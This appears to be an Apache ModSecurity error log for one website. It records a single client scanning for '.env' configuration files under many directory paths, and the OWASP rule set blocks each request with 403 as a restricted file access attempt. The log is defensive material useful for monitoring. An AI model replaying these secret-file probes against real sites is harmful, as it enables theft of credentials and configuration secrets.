[Sun Oct 25 14:01:41.424460 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at5EBe6EytsuoC67cD91iQAAAAE"]
[Sun Oct 25 14:01:41.424731 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at5EBe6EytsuoC67cD91iQAAAAE"]
[Sun Oct 25 14:01:41.432116 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD6QAAAAk"]
[Sun Oct 25 14:01:41.432262 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD6QAAAAk"]
[Sun Oct 25 14:01:41.432466 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD6QAAAAk"]
[Sun Oct 25 14:01:41.433526 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at5EBf1CbQghwAu-zzMCQAAAACA"]
[Sun Oct 25 14:01:41.433722 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at5EBf1CbQghwAu-zzMCQAAAACA"]
[Sun Oct 25 14:01:41.433949 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at5EBf1CbQghwAu-zzMCQAAAACA"]
[Sun Oct 25 14:01:41.434927 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at5EBYIGIq5euXyTbvT1NwAAACQ"]
[Sun Oct 25 14:01:41.435057 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at5EBYIGIq5euXyTbvT1NwAAACQ"]
[Sun Oct 25 14:01:41.435310 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at5EBYIGIq5euXyTbvT1NwAAACQ"]
[Sun Oct 25 14:01:41.436233 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at5EBROIqc1eRNCRH2cpBwAAAAc"]
[Sun Oct 25 14:01:41.436405 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at5EBROIqc1eRNCRH2cpBwAAAAc"]
[Sun Oct 25 14:01:41.436662 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at5EBROIqc1eRNCRH2cpBwAAAAc"]
[Sun Oct 25 14:01:41.437568 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at5EBbc82c1J4zoyxalWnQAAAAI"]
[Sun Oct 25 14:01:41.437701 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at5EBbc82c1J4zoyxalWnQAAAAI"]
[Sun Oct 25 14:01:41.437927 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at5EBbc82c1J4zoyxalWnQAAAAI"]
[Sun Oct 25 14:01:41.440895 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /auth/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at5EBSjnAS4eJh-ada2NHQAAAA0"]
[Sun Oct 25 14:01:41.441032 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at5EBSjnAS4eJh-ada2NHQAAAA0"]
[Sun Oct 25 14:01:41.441259 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at5EBSjnAS4eJh-ada2NHQAAAA0"]
[Sun Oct 25 14:01:41.447021 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at5EBaYYcNPV1bnoekNX7wAAAAQ"]
[Sun Oct 25 14:01:41.447168 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at5EBaYYcNPV1bnoekNX7wAAAAQ"]
[Sun Oct 25 14:01:41.447443 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at5EBaYYcNPV1bnoekNX7wAAAAQ"]
[Sun Oct 25 14:01:41.450210 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at5EBRfmy5DaFfyE01WrIwAAABE"]
[Sun Oct 25 14:01:41.450355 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at5EBRfmy5DaFfyE01WrIwAAABE"]
[Sun Oct 25 14:01:41.450586 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at5EBRfmy5DaFfyE01WrIwAAABE"]
[Sun Oct 25 14:01:41.451673 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /store/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw4AAAAAM"]
[Sun Oct 25 14:01:41.451814 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw4AAAAAM"]
[Sun Oct 25 14:01:41.452059 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw4AAAAAM"]
[Sun Oct 25 14:01:41.455115 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at5EBROIqc1eRNCRH2cpCAAAAAc"]
[Sun Oct 25 14:01:41.455280 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at5EBROIqc1eRNCRH2cpCAAAAAc"]
[Sun Oct 25 14:01:41.455547 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at5EBROIqc1eRNCRH2cpCAAAAAc"]
[Sun Oct 25 14:01:41.452740 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /temp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at5EBfwFw76qlSfceadvegAAAAA"]
[Sun Oct 25 14:01:41.456002 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at5EBfwFw76qlSfceadvegAAAAA"]
[Sun Oct 25 14:01:41.456268 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at5EBfwFw76qlSfceadvegAAAAA"]
[Sun Oct 25 14:01:41.452809 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD6gAAAAk"]
[Sun Oct 25 14:01:41.456709 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD6gAAAAk"]
[Sun Oct 25 14:01:41.456946 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD6gAAAAk"]
[Sun Oct 25 14:01:41.457814 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at5EBbc82c1J4zoyxalWngAAAAI"]
[Sun Oct 25 14:01:41.457959 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at5EBbc82c1J4zoyxalWngAAAAI"]
